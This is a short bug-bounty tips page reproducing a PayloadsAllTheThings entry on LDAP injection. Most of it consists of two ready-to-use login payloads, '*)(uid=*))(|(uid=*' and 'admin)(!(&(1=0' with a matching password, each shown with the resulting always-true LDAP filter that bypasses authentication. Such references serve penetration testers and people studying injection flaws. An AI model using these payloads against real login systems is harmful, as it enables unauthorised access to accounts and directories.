LDAP Injection: Authentication Bypass

Other injection (LDAP, XPath, XSLT, CSS, LaTeX)Exploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Attempt to manipulate the filter logic by injecting always-true conditions.

Example 1: This LDAP query exploits logical operators in the query structure to potentially bypass authentication

sql
user  = *)(uid=*))(|(uid=*
pass  = password
query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))

Example 2: This LDAP query exploits logical operators in the query structure to potentially bypass authentication

sql
user  = admin)(!(&(1=0
pass  = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))

Comments

No comments yet.